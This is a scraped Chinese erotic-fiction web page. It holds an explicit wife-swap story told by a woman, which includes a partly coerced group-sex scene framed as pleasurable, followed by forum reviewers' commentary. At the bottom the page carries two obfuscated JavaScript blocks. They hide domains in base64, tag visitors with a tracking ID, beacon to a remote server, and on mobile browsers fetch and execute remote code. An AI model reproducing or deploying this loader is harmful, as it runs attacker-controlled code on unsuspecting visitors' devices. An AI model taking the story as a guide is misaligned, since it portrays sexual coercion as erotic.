我看着雪莉红嫩的肉瓣中流出汨汨的淫水,原来她的小穴已这么快就湿到不 行。

阿城接着将雪莉拉坐了起来,自己则站在她面前将鸡巴送往她的嘴中塞进去 。

就在雪莉娇吁着吮起阿城的鸡巴时,老公已偷偷将右手摸进我的蕾丝三角裤 中,上下轻刷起我芳草丛中的阴户,随着他的手指头寻到我最敏感的阴道口开始 揉捏,几乎让我全身酸软,也无力去抵挡他的攻势,当他的右手中指终于穿过阴 唇插进肉穴,拇指同时扣弄我的阴蒂时,我不禁有点迷乱的娇喘了起来。 这时阿城已将雪莉扶起趴跪在沙发上,雪莉小巧可人的屁股高高往后翘抬, 我看着阿城将他硬翘的肉棒从背后插进雪莉的迷人的浪湿小嫩穴中,雪莉也从喉 间发出“哼……哼……啊……啊……”的淫叫。

在他们两对夫妻现场表演妖精打架的狂淫乱刺激下,我虽不太情愿,但老公 还是迫不及待地将我放躺到另一张沙发上,脱下我已完全湿答答的三角裤,也开 始埋首舔起我的阴户。

我只觉得我的阴唇被扒开,老公熟练的将舌尖舔进我的私密裂缝中,一个熟 悉的湿软物体在我小穴内壁四处滑游,他的手指头则捏着我的阴蒂玩弄,一股要 命的温柔快感从我下体传来,终于我也跟着“咿咿…呀呀…”的闷哼了起来。 接着我突然瞥见阿健和淑敏转移了阵地,他们也到阿城和雪莉肉搏中的沙发 另一端,用和阿城他们一样的后背姿势抽插,这时面对面的雪莉和淑敏,竟然互 相抱在一起亲吻,还用舌尖互相舔吮了起来,结果他们四个人倒形成了一个又怪 异又淫荡的H字型。

我拍拍老公的背想要指给他看,他却连头也不抬一下,反而转身将胯下转到 我的脸上,不容我反对地将他的阴茎送进我嘴内要我吞吮,吸舔我阴户的动作则 未稍有停歇。

于是我们也头脚互相颠倒的对卧着,彼此贪脔地吃舔着对方的私处,在视觉 、听觉、触觉的种种刺激下,我很快的感到一阵痉挛,达到第一次高潮,骚水也 从小穴内溃堤而出。

淑敏和雪莉淫浪的声浪又有了新变化,这会儿她们两个狂叫的更凶更猛了, 我又好奇的望他们一眼,一个从没想像过的画面出现在眼前。

原来他们四个人又分成两对厮杀,但和刚刚不同的是,阿城现在将淑敏紧压 在身下,胯下的肉棍正肏着淑敏的小穴杀进杀出;阿健则将雪莉整个人抱抬到半 空中,雪莉两手紧抱着阿健的肩头,两脚则环住阿健的腰,悬空的小肉屄则仍紧 紧套住阿健的巨棍在上下套动。

我根本来不及细想这个不可思议的交合配对景像是怎么发生的,因为老公已 经迫不及待将他的鸡巴整条插进我湿透的肉缝中,小穴饱涨的感受终于让我心中 的绮思得到满足,于是我也努力抬高臀部配合着他的猛力抽插,阵阵快感传遍全 身,我闭起眼睛尽情享受,也不想再管其他四个人之间的纠葛了。

然而就在这时,却似乎感觉到突然多出了好几只手来触碰我的身体,一开始 我以为只是太兴奋所产生的错觉,但有的手搓揉我的乳头,有的手抚摸我的大腿 内侧,还有的手触摸着我的会阴,也有舌头舔着我脆弱的耳后根,不可能啊! 老公哪来那么多只手?

突然有一个十分陌生的嘴唇凑上我的嘴巴,灵活的舌头毫不客气的强入我口 中和我的舌尖纠缠在一起,我被惊吓的睁开眼,头却被整个捧住,原来竟是阿城 ,我想要挣脱他,但另有一双手紧紧抱紧我的下身,我瞥见是阿健,此外还有淑 敏和雪莉则都已将双掌置放在我周身上游走,在他们四个人的围困下,我根本无 法挣脱。

但老公呢?

插着我肉穴的老公在哪里?

他怎么不阻止他们呢?

然而这时候原来还在我阴户抽插中的肉棍突然离我的小穴而去,让我的身体 顿时出现一股失落的空虚感。

在阿城继续捧吻与阿健的紧抱中,我斜着眼瞧见老公已被雪莉和淑敏拉到一 旁,她们两张嘴巴一起吸舔老公的鸡巴,四只手分别抚触老公的阴囊和乳头,老 公竟然状似舒服的发出低吟。

然后她们就让老公躺在地毯上,雪莉蹲着将自己的肉屄坐塞进老公的阴茎里 开始上下骑骋,淑敏则面对雪莉,同样蹲着将自己的小穴放在老公的嘴边供他舔 吮,两条赤裸裸的玉体一起坐在我老公身上,分别“咿……咿……”、“啊…… 啊……”的淫声浪叫起来。

看着两个女人干着自己的老公,心中顿觉醋意横生。

老公!

这个可恨的老公!

他就真的一眼也没再看我,他竟然不顾自己的老婆即将被奸淫,宁愿为了自 己享乐,被其他两个女人的肉体给诱拐走。

我心中又酸又苦,悲愤莫名,一股哀忿涌上心头。

好!

很好!

既然你可以不在乎我,那我当然也可以放纵我自己,来啊!

谁怕谁啊?

就这样铁了心,一咬牙之后,反倒觉得豁然开朗,了无罣碍。

其实方才一阵肉搏混仗,加上现在两个男人的压制和抚弄,我根本已经无力 再做无谓的抵抗了。

不过现在,我可不再犹豫,于是主动地将舌尖伸长去纠结阿城的舌头,他脸 上先是出现一阵惊喜的神色,唇舌也和我交缠的更厉害,右手则马上肆意抓握着 我的乳房,左手也伸到我背后在我浑圆的屁股上游走;原来抱住我下半身的阿健 见状,也松脱双手,将头埋入我的秘密花园中努力耕耘,一面嘴中吸吮的啧啧有 声,还一面用几只手指头一起扣弄小屄和穴口上的豆蔻,更伸手来回触弄我臀沟 里的菊蕾,让我几乎受不了而将下肢四处扭动滑移,最后只好让双脚左右交叉夹 住阿健的头,才勉强安顿下来,但这个姿态也让阿健对我私处的攻势更加深入。 就在上下半身份别让两个男人尽情爱抚的同时,这种陌生的经验让我的身体 马上进入另一波的兴奋之中,高潮随着淫水的氾滥而涌现,于是我不再和阿城对 吻,也学起雪莉和淑敏“哦……哦……”、“啊……啊……”快意的浪叫着。 阿城见状便将嘴巴移到我的耳后根继续舔吻,他唿出的热气灌满我的耳孔, 一阵阵呵痒的感觉让我六神无主。

没想到他又贴紧我的耳边,边吻边低声对我说:“巧妮,我想干你的小穴儿 想的好苦啊!”

这番半真似假的表白,却让我心中顿觉春意盎然,一时如惊涛拍岸,堆起千 层淫浪。

阿城随即起身向阿健打个手势,然后转过头邪淫地笑着对我说:“现在就让 我们好好的疼疼你吧!”

嗯!

我知道,…

该来的总是会来,真正的重头戏就要上场了。

阿健和阿城合力将我抬到沙发旁的长条桌上,阿健转攻我的上半身,双手在 我双乳上任意搓揉,阿城则到我胯下,将我的双腿左右拉开,右手握住他那根粗 短的鸡巴在我湿透的阴唇外边又磨又转、又点又触的,坚硬的浑大龟头却光只是 撩拨着湿黏黏的小穴肉瓣,但就是没有再进一步的突进行动,让我加倍的难受, 膣内的骚养更无穷无尽,于是我的私处不听控制的主动向前凑送,却依然寻不着 肉棍穿刺的快慰。

阿城继续让龟头在阴唇肉瓣前徘徊,果然又出言调戏我了。

“怎么样?好巧妮!好妹妹,想不想啊!……”

“嗯!……”

“啊!你说什么?我听不见!……”

“想……想啊!……”

“想什么?……我听不清楚啊!……”

“想要爱爱……”

“想爱什么?……我不知道喔!……”

“想爱你的弟弟啦……”

“我的弟弟?……我的弟弟是谁啊?……”

“就是你的鸡巴啦……”

“喔!我的鸡巴啊,……你爱我的鸡巴做啥呢?……”

“想要你的鸡巴和我的妹妹在一起啦……”

“啊?你妹妹又是谁啊?……”

“我的小穴穴啦……”

“啊!原来要我的鸡巴和你的小穴在一起啊,它们在一起干嘛呀?。” “做爱啦……”

“做爱是什么啊?……”

“就是让你的鸡巴插进我的小穴啦……”

受不了阿城用鸡巴在我桃源洞口前的撩弄,我终于脸红心跳的从口中吐出从 没对男人说过的淫秽言语。

阿城满意的点头奸笑,才将整条鸡巴用力向前穿过我芳草萋萋的肉缝,挺进 早已淫水连天的小蜜穴里头,虽然他的阴茎没老公长,但他特别肿涨的大龟头前 后抽动,让我阴道中也有股不一样的快感,刚刚老公的鸡巴紧急撤退后所产生的 空虚感,立即消退了大半。

这时阿健也将下半身转向我的脸前,让他又粗长又湿漉漉的大鸡巴在我两边 的面颊上到处滑移,接着便不留情的塞进我的嘴巴中,一股与老公完全不一样的 腥膻气味在我脸耳口鼻之间流动。

在阿城和阿健对我身体的上下夹攻下,我的情绪越来越高亢,阴道内壁随即 一阵紧缩,又是另一次高潮,小穴中的骚水也汨汨地淌个不停。

而且听着淑敏和雪莉在老公身上的淫浪喘叫,我也不甘寂寞的吐出阿健的肉 棍,更大声的跟着一起哼啊个没完没了。

“哼……”

“哼……”

“啊……”

“啊……”

“咿……”

“咿……”

“哦……”

“哦……”

随着三个女人的娇喘和淫叫声此起彼落,淫骚火辣的词句也纷纷出口,越来 越大声,越来越过火。

“喔!……好哥哥……”

“呜!……亲亲老公……”

“大鸡巴哥哥,肏我小穴妹妹呀……”

“哎!快点…再快点……”

“啊!……用力插,……努力插……”

“顶呀!顶呀!继续顶呀……”

“哼!…深点,……再深一点啦……”

“干啊!……干到妹妹心里啦……”

“好爽呀!……好舒服啊……”

“好美哦,啊……啊……再来呀……”

就在各种淫词秽语的交互刺激下,像是在比赛似的,三个女人不甘示弱的越 喊叫过瘾,也越叫越离谱。

“干我啊!……用力干我啊……”

“顶呀!顶进妹妹花心了……啊!啊!”

“对!对!就是那里,……快干!……继续干!”

“坏人!肏死人啦,……嗯!……真好!”

“舒服死啦!……弄死人啦!”

“妹妹要丢啦,……快呀!”

“啊…啊……爽死了……我要升天啦!”

“天呀!妹妹要死了……就要浪死了啦!”

“喔!来了来了……呀!又来了……”

“丢了!丢了啦!啊……”

似乎受不了三个美女唿天喊地的淫声浪叫,阿城在我粉嫩小屄中抽插了十几 分钟,终于不得不忍痛弃甲曳兵,他和又将肉棒插入我口中的阿健击掌互相换手 ,等阿健再度将鸡巴从我嘴中抽出后,阿城也从我的小穴中拔出鸡巴,冲到我脸 前将浓腥的精液射在我的脸上,洒得我满鼻满嘴都是黏腻腻的精水,一部分温热 的白液还滚进我喉间,阿城心满意足的将他已渐松软的龟头继续放在我嘴边,要 我伸出舌头舔吮。

但不多时,他老兄就另寻着淑敏和雪莉的娇叫声,到另一边的阵地加入另一 群男女混战了。

而在阿城在我脸上泄精的同一时间,阿健已紧接着将鸡巴继续肏入我的蜜穴 ,他既长且粗的阴茎一刺进阴道内,虽然屄中早已淫水汪汪,但整条巨大的鸡巴 没根塞满我的小穴儿时,痛裂的感觉还是让我皱起眉头惊唿了一下,我不由得暗 暗叫苦,一边想淑敏平日怎能受得住这种痛楚的荼毒。

没想到随后而来的抽插,阿健的屁股像是装了高速马达一般的进行前后活塞 运动,让大鸡巴一下又一下深深打进小屄,一次次都结结实实的撞进花心,于是 否极泰来、渐入佳境,原先的痛变成酸,酸变成麻,麻变成酥,酥又变成茫,酥 酥茫茫,简直美的快要升天了,果然又是另番紧凑密实的满足与快感滋味。 阿健又俯身亲我的嘴,两人紧贴着身继续交合,大鸡巴和小穴之间的润滑更 加顺畅,下半身也传来淫荡的“啪哒……啪哒……”

私处接碰声和“噗滋……噗滋……”

的浪穴抽插声,因此阿健更努力的前后冲刺,并且起身抓着我的乳房搓揉, 一点也不懂得怜香惜玉,但他像头野兽般的粗野摧残却更增添我的放浪形骇,且 让我再一次得到高潮,因而我也继续放浪的纵声娇吟。

不料阿健突然用两手往下抓住我两脚的腿弯,将我整个人腾空抱起,我们的 姿势也成了方才他和雪莉交合的模样。

为了怕从阿健身上跌落,我双手死命环住他厚实的肩膀,胸前两颗肉球完全 贴进他宽阔的胸膛,双脚更紧紧交夹住他的熊腰,悬抬在半空中的阴户则未有松 懈的随着阿健的臀部上顶而起落,鸡巴和小穴的接合在两个完全紧贴的肉体间抽 插的更密更实。

这个险中求快的性交姿势带给我完全不同的刺激,另番高潮随着小屄中潺潺 流出的浪水而到来。

阿健就这样抱着我边走边插,绕着客厅走了几圈,我插着大肉棍的小穴因此 淫荡地开展在其他狂欢着的众人面前。

最后阿健再将我放躺回沙发上,接续用大鸡巴干我,他将我的双腿移抬到他 肩上,蜜穴因此被插得更紧更深,快感也传遍我全身。

约莫过了半个钟头,我已经数不清到底泄过几次身了,阿健才终于忍不住, 大鸡巴先是在我的小穴中跳了一跳,接着只觉得有一股火热的激流喷进我的花心 ,他也在我身上泄了精。

阿健随后将鸡巴从我湿透的阴道中拔出来抖了几抖,便躺在地上喘息。 我先后经历了三个男人在我蜜穴中疯狂抽插,当然也已耗尽体力无法起身, 只好一边喘着气一边趴躺在沙发上休息,一点也顾不得刚刚满脸满嘴逐渐阴干的 爱液,以及现在又从蜜穴中慢慢渗流出来的黏稠精液。

时间不知道过了多久,整个客厅终于都静悄悄的完全没了声响,看来这回的 男女混战总算已全部结束。

我满身疲累从沙发上起身,好不容易从一地散落的物品中找回自己的衣物, 缓步到浴室随意冲洗整理一下,便穿回衣服。

再走回客厅时,只看见壁上的时钟已指向晚上八点钟,又看了看依旧横七八 竖倒在四周围的几条赤裸裸的肉体,心中冒出无限的矛盾和感叹。

我不禁摇摇头,打开皮包拿出其中备用的汽车钥匙,不声不响的独自离开这 片混乱的肉搏战场。

我已经不在乎老公今天还要在阿城家再待多久了,我只想赶快去接回最心爱 的小蓉蓉。

但开车前往娘家的途中,纷乱的思绪在我脑中四处飘荡,心海中汹涌的波涛 更无一分一秒止歇,我的眼前顿觉一片空白,渺渺茫茫,几乎找不到回娘家的路 。

直到车好不容易在娘家楼下停当,我才能闭着眼回想今天的遭遇。

我从没想过我会和老公在别人面前做爱,更没想过会同时和两个男人玩3P, 而且还是在自己老公面前让两个男人一起干我,更料想不到得是我会和老公一起 和其他夫妻玩6P的群交游戏,但这一切的一切,竟都在今天全部实现了。 我几乎可以确信,阿城、雪莉、阿健、淑敏两对夫妻,是早有预谋要对我们 夫妻下手的,甚至我亦有充分的理由去合理怀疑老公在事前也知情。

所以只有我被蒙在鼓里,而被他们四、五个人联手设计出卖了。

其实,我不完全反对大家在一起寻欢作乐,甚至不见得不会答应参加多对夫 妻群交的游戏。

但在事前先征求我的意见,得到我的首肯,应是对我最起码的尊重。

虽然我今天也享受到所前未有的性交之乐,但我仍是满心委屈、愤恨难平, 因为我绝对不愿在这种半诱半迫的情况下,成为一个被迫沦落欲乐陷阱的淫荡女 人。

所以,我决定要带着蓉蓉回娘家长住,给老公一个最严厉的教训,让他以后 再怎么贪玩,也不敢再这样陷害他最亲密的妻子。

‘后记’

在我和小女儿蓉蓉回娘家住而且一直拒绝接电话之后,老公才猛然惊觉事情 的严重性,天天到娘家来解释,并央求我和蓉蓉早日回家。

我爸妈虽不清楚我和老公之间又发生什么争执,但从小就习惯对我的呵护和 娇惯,他们也只好容许我暂住娘家中,另则再三帮着老公说尽好话。

不过一直到将近一个月过去,老公终于应允若干严苛的条件,包括将现住的 房屋所有权过户给我;当然还有更重要的,那就是从此以后他再去找阿城阿健他 们我可以不管,但除非我愿意,否则无论如何都不能勉强我陪他同行。 在他写了切结书后之后,我才带着蓉蓉一起回家。

在我心中,只想到我和蓉蓉母女两个人将来能够相依为命,其它事情则都已 不再重要,至于老公未来会不会因此和雪莉、淑敏继续胡搞,事实上我既无力去 管也不想再管。

也许有人会好奇的问我:在那天的事情发生之后,我以后还有可能会愿意去 阿健家参加他们的狂欢群交聚会吗?

关于这个问题的答案嘛,…

请恕我歉难奉告,正如同我怎么样也不会在老公面前承认,那天6P的淫乱 滋味如今回想起来还真的十分美妙。

☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆ 半只青蛙:“换妻类的文章不少,甚至我自己也曾经动念想要写个几篇,但让我感到讶异的是,这篇文章居然是以女性的观点来叙述,这种写法的换妻类文章,好像也有一阵子没看到了吧!” 瘦子:“的确,因为换妻的行为通常起先于丈夫被诱惑,因此通常会以丈夫的观点开始叙述,并且写出他设计或引诱自己妻子放纵的过程。而这篇《亲密的代价》,不但将这种写法写的很成功,其修辞文句也都很有水准,实在让人看不出来是一篇新手的作品呢。霞飞兄一定花了不少的心思吧!” 霞飞:“是的,写这篇文章确实花了我不少功夫,写作之前也考虑了很多。看情色小说已有很长一段时间,拜网际网络发达之赐,不必出门在家就可以上网观赏并搜集许多经典之作。几年下来,好像受到某种启发,有一些若有似无的心得,很想借由自己的文笔表达出来。何况单单接受而不付出,好像也违背自己的良心。因此前年以来,就一直在思考如何下笔,才能写出许多前辈手下又刺激又动人的完整故事。只可惜没有天分,所以只能细细磨慢慢熬,最后好不容易才生出这篇文章。” 魔力大熊猫:“看来的确是酝酿了很久喔,或许也是因为如此,所以这篇文章给人的感觉才能如此的细腻吧!尤其是文中借由侨段的铺陈,将女主角那种既害怕又期待,挣扎在理性与欲望间的惶惑情感,描写的很是生动呢。” 半只青蛙:“嗯...但因为过于深入的心理戏,导致激情度下降,这就是个让人感到蛮遗憾的地方了。毕竟这种换妻类的文章,本来就应该在情欲上多加着墨吧;不然如果看来不够过瘾,加上还隐藏有男主角戴绿帽的负面影响,这类的文章可能就不容易引起共鸣喔。” 魔力大熊猫:“话虽如此,但这篇文章就整体来看,还是蛮成功的,至少没有新手的那种不稳定感,我想霞飞一定参考了不少的资料吧!” 霞飞:“对于我这样的写作新手而言,当然是要找很多的参考资料啦!而这次构思整篇文章时,其实交杂了几个部分的来源,包括前辈们的经典片断、色情片的故事概要、自己的生活经验以及个人的无聊遐想。但困难之处是如何将这些东西组成一篇完整的文章,而且要能尽量地合乎情理,特别是主角的心理状态及转折,都让自己再三的皱眉苦思,还好最后仍能勉完成了。” 瘦子:“的确看的出霞飞兄的用心,而这份用心也帮你交出了一份很棒的成绩单,但有点比较有趣的是,这篇的题材,好像跟征文的题目不太能衔接耶。” 霞飞:“哈哈,这个么──其实这篇文章本来也不一定是要在征文时贴出的。没想到完工后正逢“风月大陆”新年贺文征稿,题目是“母女”,而且未限定以必须以情色场景交待,于是心想这篇文章正好在文末有提到主角和她小女儿,所以几经挣扎之后还是投稿参加了。这篇文章是第一次公开自己的情色文章,新手上路,有待补之处所在多有,即使不满意,但终究是个新的起点。” 催稿人:“也幸好是这美妙的因缘际会,让这次的年末征文又能多出一篇好文,更有幸能看到又一位有潜力的新人出道;那么,就让我们谢谢霞飞兄所带来的好文。接下来让我们继续欢迎一千零一夜的第二十八篇·萝西的餐厅。”

【完】


上一篇:OL女友的遭遇1-6

下一篇:我与课长的激情


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};